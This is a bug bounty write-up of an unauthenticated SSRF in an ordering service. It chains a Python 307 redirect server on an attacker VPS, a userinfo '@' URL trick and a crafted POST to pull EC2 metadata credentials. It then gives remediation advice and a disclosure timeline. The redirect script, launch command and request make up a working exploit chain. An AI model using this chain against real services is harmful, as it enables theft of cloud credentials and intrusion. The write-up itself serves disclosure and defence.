This is a writeup of a pre-authentication SSRF I found and reported through a bug bounty program. An unauthenticated attacker could make the server reach into the EC2 metadata service and pull back the instance's AWS credentials. That is full read SSRF, and from there the path opens up to a much wider cloud compromise.

It got triaged, confirmed, fixed, and rewarded.

Discovery

I was poking at an ordering flow when I hit a status-check endpoint that took a POST with a JSON body. One of the fields was a callback-URL:

JSON
{
  "content": {
    "key-expires-in": "5 minutes",
    "callback-URL": "http://internal.example.com",
    "key": "",
    "status": "Acknowledged",
    "timestamp": "2024-07-10T23:59:53.984Z"
  }
}

That got my attention right away. A server-side callback URL sitting in a POST body is about as classic an SSRF surface as it gets, and this endpoint didn't ask for any authentication, which makes the whole thing a lot more interesting.

The block, and the bypass

My first move was the obvious one. Point callback-URL straight at the metadata service:

Text
http://169.254.169.254/latest/meta-data/

Blocked. The backend had rules that rejected anything aimed at the metadata IP directly. That is a reasonable defense, but on its own it isn't enough.

The way around it was to bounce through a redirect. I stood up a tiny Python server on a VPS that answers any request with a 307 Temporary Redirect to wherever I want it to go:

Python
#!/usr/bin/env python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv) - 1 != 2:
    print(f"Usage: {sys.argv[0]} <port> <redirect_url>")
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(307)
        self.send_header('Location', sys.argv[2])
        self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

I started it like this:

Bash
python3 redirect.py 9000 http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/

The backend only validated the URL I submitted in the body. It never re-checked where that URL eventually redirected to. And a 307 keeps the request method intact and tells the client, here the backend's own reverse proxy, to follow along to the new location. So it followed mine, right into the metadata service.

Exploitation

Here is the full chain:

  1. Start the redirect server on the VPS, set to forward to the EC2 metadata credentials endpoint.
  2. Send an unauthenticated POST to the status-check endpoint with callback-URL aimed at the VPS:
HTTP
POST /api/v1/order/checkstatus HTTP/1.1
Host: www.redacted.com
Content-Type: application/json
Accept: application/json

{"content":{"key-expires-in":"5 minutes","callback-URL":"http://internal.redacted.com@<VPS_IP>:9000","key":"","status":"Acknowledged","timestamp":"2024-07-10T23:59:53.984Z"}}

Look at the callback-URL: http://internal.redacted.com@<VPS_IP>:9000. The @ turns everything before it into a userinfo component that the URL parser ignores, so the host the request actually resolves to is the VPS. That is a second layer of evasion in case anything is allowlisting on the front of the string.

  1. The backend GETs the VPS, gets back the 307, follows it to the metadata URL, and returns the response straight to me.

That response carried the full set of EC2 credentials:

  • AccessKeyId
  • SecretAccessKey
  • Token

Those are temporary credentials the metadata service hands out, and they carry whatever IAM role is attached to the instance.

Impact

This is about as bad as SSRF gets:

  • No authentication. Anyone on the internet could fire this off.
  • Full read SSRF. The attacker can make the server fetch any internal URL and read the response back.
  • Live AWS credentials. With the leaked keys you can act as the instance's IAM role, which can mean reading S3 buckets, reaching databases, and pivoting deeper into the cloud account.

I stopped the moment the credentials came back, and reported it. I never used the keys for anything.

Remediation

The vendor shipped a fix within a few weeks. On retest the endpoint stopped following redirects to internal addresses and returned an error instead.

If you are defending against this class of bug, this is the shortlist:

  • Validate the final destination, not just the URL you were handed. The allowlist has to apply after every redirect resolves, not before.
  • Turn off or tightly restrict redirect following in any server-side HTTP client that makes outbound requests.
  • Move EC2 instances to IMDSv2. Its PUT-based token handshake is something a basic SSRF payload can't easily reproduce.
  • Give instances least-privilege IAM roles so a leaked credential has the smallest possible blast radius.
  • Lock down egress at the network layer so app servers can only reach what they actually need.

Timeline

Date Event
2024-07-13 Reported
2024-07-17 Triaged
2024-07-30 Fix deployed, retest requested
2024-08-01 Fix confirmed, report resolved
2024-08-02 Bounty awarded